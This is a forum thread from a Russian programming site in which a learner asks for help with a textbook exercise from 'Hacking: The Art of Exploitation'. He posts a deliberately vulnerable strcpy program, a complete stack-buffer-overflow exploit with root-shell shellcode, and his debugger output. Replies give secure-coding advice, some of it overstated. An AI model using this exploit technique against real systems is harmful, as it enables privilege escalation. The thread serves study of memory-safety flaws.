Форум программистов, компьютерный форум, киберфорум
С++ для начинающих
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
 
Рейтинг 4.55/65: Рейтинг темы: голосов - 65, средняя оценка - 4.55
2 / 2 / 0
Регистрация: 04.03.2013
Сообщений: 21
1

Хакинг. Искусство эксплойта

25.03.2013, 00:58. Показов 12516. Ответов 33
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
Прежде исложить свою проблему хочу спросить, читал ли кто-нибудь и пробовал на практике задачи описанные в книге Джона Эриксона: "Хакинг. Искусство эксплойта" ?
ссылка на книгу: http://www.ozon.ru/context/det... z&from=bar
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
25.03.2013, 00:58
Ответы с готовыми решениями:

Дальнейшее чтение после Р.Лафоре искусство ООП программирования С++
Всем привет. Прочел книгу Р.Лафоре искусство ООП программирования С++. И вот стою курю и думаю. А...

Wifi хакинг
Всем доброго времени суток! Искал подобную тему на форуме, не нашел, по этому решил создать, а...

Компьютерное искусство
Всем привет. Кто может помочь решить эту задачу буду очень благодарен

Цифровое искусство
Японский художник Ютака Кагайя... Его картины выполнены только с помощью компьютерной техники, и...

33
Эксперт С++
8385 / 6147 / 615
Регистрация: 10.12.2010
Сообщений: 28,683
Записей в блоге: 30
25.03.2013, 01:46 2
Это не форум хакеров, это форум программистов ...
0
Форумчанин
Эксперт CЭксперт С++
8215 / 5045 / 1437
Регистрация: 29.11.2010
Сообщений: 13,453
25.03.2013, 03:11 3
Avazart, там рассматриваются и аспекты С, С++, ASM.
По моему надо знать, что в твоем коде может породить дыру. Сам книгу сейчас добавил в список для прочтения.
0
4226 / 1795 / 211
Регистрация: 24.11.2009
Сообщений: 27,562
25.03.2013, 07:18 4
ИМХО хакинг, обсуждаемый в контексте борьбы с ним - вполне нормальная тема для форума программистов.
0
4311 / 1422 / 463
Регистрация: 16.12.2010
Сообщений: 2,939
Записей в блоге: 3
25.03.2013, 12:07 5
Запрещено создание и распространение вредоносного ПО (вирусов), кряков и взлома лицензионного софта, а также публикация ссылок для их скачивания.
Все остальное можно.
0
Эксперт С++
8385 / 6147 / 615
Регистрация: 10.12.2010
Сообщений: 28,683
Записей в блоге: 30
25.03.2013, 15:43 6
Цитата Сообщение от MrGluck Посмотреть сообщение
Avazart, там рассматриваются и аспекты С, С++, ASM.
По моему надо знать, что в твоем коде может породить дыру. Сам книгу сейчас добавил в список для прочтения.
Цитата Сообщение от taras atavin Посмотреть сообщение
ИМХО хакинг, обсуждаемый в контексте борьбы с ним - вполне нормальная тема для форума программистов.
ПРдон ... но не в разделе новичков ... ибо это наталкивает на мысль что хакинг только с целью хакинга ...
0
4226 / 1795 / 211
Регистрация: 24.11.2009
Сообщений: 27,562
25.03.2013, 15:45 7
Новичок как раз всё равно не сможет хакнуть, а начать учиться защищать свой код ни когда не рано, так как именно новичковый код в первую очередь хакнут. Или предпочитаете снести тему разделом выше?
1
5231 / 3204 / 362
Регистрация: 12.12.2009
Сообщений: 8,113
Записей в блоге: 2
25.03.2013, 15:52 8
с озона
Книга дает полное представление о программировании, машинной архитектуре, сетевых соединениях и хакерских приемах.
при этом книга 512 стр.
Ну ну
0
993 / 521 / 102
Регистрация: 19.03.2013
Сообщений: 3,114
Записей в блоге: 19
25.03.2013, 16:12 9
Покупал эту книжку. Не осилил
А так чтиво интересное
0
4226 / 1795 / 211
Регистрация: 24.11.2009
Сообщений: 27,562
25.03.2013, 16:25 10
Всё равно новичок не сможет хакнуть по книге: опубликованное уже пофиксено всеми, кроме ему подобных, а что то новое на основе прочитанного он пока не придумает. Защищаться же книга как раз научит хоть от чего то.
0
2 / 2 / 0
Регистрация: 04.03.2013
Сообщений: 21
26.03.2013, 01:31  [ТС] 11
Всем спасибо за бурное обсуждение в моей темы)) А вот и собственно сами вопросы:
Иммется уязвия программа с правми рут.
C++
1
2
3
4
5
6
7
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
(Уязвимость ее в том, что она принимает один аргумент и пытается поместить его данные, какие бы они не были в буффер размером 500 байт)

Ниже показан код эксплойта, который создает буфер и передает его уязвимой программе в надежде заставить ее выполнить внедренный в буфер шелкод, а не просто аварийно завершиться. Код эксплойта сначала получает текущий указатель стека и вычитает из него смещение. В данном случае смещение равно 0. Выделяется память для буфера (в куче), и весь он заполняется адресом возврата. Зателм первые 200 байт буфера заполняются NOP-цепочкой. После NOP-цепочки помещается шелкод, а в оставщийся части буфера сохраняется записанный адрес возврата. Наконец еще одна функция запускает уязвимую программу и передает ей специально сконструированный буфер.
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <iostream>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
using namespace std;
 
char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
 
unsigned long sp(void)                   // Эта маленькая функция
{ __asm__("movl %esp, %eax");}   // возвращает указатель на стек
 
int main(int argc, char *argv[]){
 
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
 
offset = 0;           // Задать смещение 0
esp = sp();          // Поместить текущий указатель стека в esp
ret = esp - offset; // Мы хотим перепесать адрес возврата
 
printf("Stack pointer (ESP) : 0x%x\n", static_cast<int>(esp));
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired return Addr : 0x%x\n", static_cast<int>(ret));
 
buffer = static_cast<char*>(malloc(600)); // Выделить для буфера 600 байт (в куче)
//buffer = malloc(600);
 
// Заполнить весь буфер нужным адресом возврата
ptr=buffer;
addr_ptr=(long *) ptr;
for(i=0; i<600; i+=4)
{ *(addr_ptr++)=ret;}
 
// Заполнить первые 200 байт буфера командами NOP
for(i=0; i<200; i++)
{buffer[i]='\x90';}
 
// Поместить шелкод после NOP-цепочки
ptr=buffer + 200;
for(i=0; i<strlen(shellcode); i++)
{ *(ptr++)=shellcode[i];}
 
// Завершить строку
buffer[600-1]=0;
 
// Вызываем программу и передаем в качестве аргумента построенный буфер
execl("./vuln", "vuln", buffer, NULL);
free(buffer);
return 0;
}
Так должен выглядеть результат выполнения программы:

Stack pointer (ESP) : 0xbffff978
Offset from ESP : 0x0
Desired Return Addr : 0xbffff978
sh-2. 05a# whoami
root
sh-2. 05a# [


Текстовые строки у меня выводит, адресс возврата переписывается, но не запускается сам шелкод. Программа была переписанна с С на С++ и компилятор стал ругаться на строку
C++
1
buffer = malloc(600);
Не может преобразовать из *viod в *char. Пришлось сделать это явным образом как видно в строке 30. МОжет ли быть ошибка в этом? Если нет тогда в чем? очень сильно прошу в помочь разобраться..

P.S.: Предлогаю перенести тему из раздела C++ для новичков, на книге стоит пометка Уровень подготовки читателей: Высокий. Да и новичкам потом кошмары сниться будут))))
0
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
26.03.2013, 01:39 12
Здесь кошмарного ничего нет. Запускаешь под дебагером и смотришь, куда у тебя передается управление на стеке при переполнении.
0
ну и долго меня небыло...
61 / 57 / 8
Регистрация: 24.03.2013
Сообщений: 173
26.03.2013, 01:49 13
Надо будет полистать книжку на досуге)
0
Форумчанин
Эксперт CЭксперт С++
8215 / 5045 / 1437
Регистрация: 29.11.2010
Сообщений: 13,453
26.03.2013, 05:32 14
Цитата Сообщение от TagaBenz Посмотреть сообщение
Программа была переписанна с С на С++ и компилятор стал ругаться на строку
компилятор С++ не преобразовывает void* память, в отличии от компилятора С. Неверно ожидать другого поведения, даже не смотря на "капабилити". Но ошибки в этом быть не может.
1
4226 / 1795 / 211
Регистрация: 24.11.2009
Сообщений: 27,562
26.03.2013, 12:35 15
Цитата Сообщение от TagaBenz Посмотреть сообщение
Иммется уязвия программа с правми рут.
не юзай strcopy, все переполнения от неё, от scanf и от sprintf: буфер они не создают, а размер измеряют, но не спрашивают.

Добавлено через 2 минуты
Цитата Сообщение от TagaBenz Посмотреть сообщение
Да и новичкам потом кошмары сниться будут))))
кошмары будут сниться не им, а наставникам, если таковые:
1. Имеются в наличии.
2. Начитаются новичковых кривоэксплойнтов и кривозащит от них.
А новички кошмары просто напишут.

Добавлено через 2 часа 29 минут
Как защититься от эксплойнта на стр. 131? И куда он предалагает загрузить его адрес? Предыдущие понятны: порча адреса возврата и указателей на функции, не пользоваться: strcpy, printf, sprintf и scanf, не писать собственных функций со спецификаторами записи в форматных строках. А этот не понятен.
1
2 / 2 / 0
Регистрация: 04.03.2013
Сообщений: 21
26.03.2013, 13:40  [ТС] 16
Цитата Сообщение от taras atavin Посмотреть сообщение
не юзай strcopy, все переполнения от неё, от scanf и от sprintf: буфер они не создают, а размер измеряют, но не спрашивают.
Не совсем понял что ты пытался до меня донести, можно по подробнее?
0
4226 / 1795 / 211
Регистрация: 24.11.2009
Сообщений: 27,562
26.03.2013, 13:58 17
А ты не задумывался, почему TS (topic starter), а не TO (topic owner)? Автор первого поста темы лишь обращает внимание сообщества на тему, но не владеет ею, она может заинтересовать и того, кто раньше о ней не задумывался, возможно, не знал, у него могут возникнуть свои вопросы. Это нормально. Охота владеть обсуждением - веди его в блоге, а здесь я могу присоединиться в качестве второго автора вопросов.

Добавлено через 7 минут
Цитата Сообщение от TagaBenz Посмотреть сообщение
Не совсем понял что ты пытался до меня донести, можно по подробнее?
Я имею ввиду, что тот эксплойнт основан на переполнении, а оно возникает только в функциях scanf, sprintf и strcpy, не проверяющих размер предоставленного им буфера, но измеряющих количество необходимой им памяти и в анологично им написаной кривоотсебятине. Даже printf конкретно на эксплойнт переполнения подцепить не возможно, так как она просто не переполняется. Не используй эти функции. И не передавай в printf то, что ты не можешь контролировать: результат пользовательского ввода, прочитанную из файла строку... Из-за спецификатора %n она тоже опасна.
2
993 / 521 / 102
Регистрация: 19.03.2013
Сообщений: 3,114
Записей в блоге: 19
26.03.2013, 13:59 18
TagaBenz, а что делает шелкод?
taras atavin, ТС как раз и пытается выяснить как запустить шелкод, используя уязвимость в strcpy. А вы предлагаете не пользоваться strcpy )))
1
4226 / 1795 / 211
Регистрация: 24.11.2009
Сообщений: 27,562
26.03.2013, 14:35 19
Я предлагаю не дать другому читателю взломать написанное TagaBenzом.
0
2 / 2 / 0
Регистрация: 04.03.2013
Сообщений: 21
26.03.2013, 18:15  [ТС] 20
Цитата Сообщение от chizz Посмотреть сообщение
а что делает шелкод?
Как я понял шелкод прописывает команду в терминале, которая выводит владельца уязвимой программы, а именно команду whoami

Опыта работы с консольным отладчиком не имею вобше(( помогите разобраться

<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/r2d2/exploit...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/r2d2/exploit
Stack pointer (ESP) : 0xbffff358
Offset from ESP : 0x0
Desired return Addr : 0xbffff358
process 9404 is executing new program: /home/r2d2/vuln
*** stack smashing detected ***: vuln terminated

Program received signal SIGSEGV, Segmentation fault.
0xb756cb19 in ?? () from /lib/i386-linux-gnu/libgcc_s.so.1


Что мне делать и как искать ошибку в программе? Что означает строка 0xb756cb19 in ?? () from /lib/i386-linux-gnu/libgcc_s.so.1
0
26.03.2013, 18:15
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
26.03.2013, 18:15
Помогаю со студенческими работами здесь

Татуировка, как искусство
Такая вещь, как татуировка в наше время завоевывает все больше и больше последователей по всему...

Ремесло или искусство?
Что такое программирование: ремесло или искусство?

Искусство передавать мысли
Как наверно многие иногда замечают непросто объяснить другому что думаешь=) И это может быть не так...

Графити как искусство
примеры того, что делают настоящие творцы, когда в их руки попадает баллончик с краской. как можно...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
20
Ответ Создать тему
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru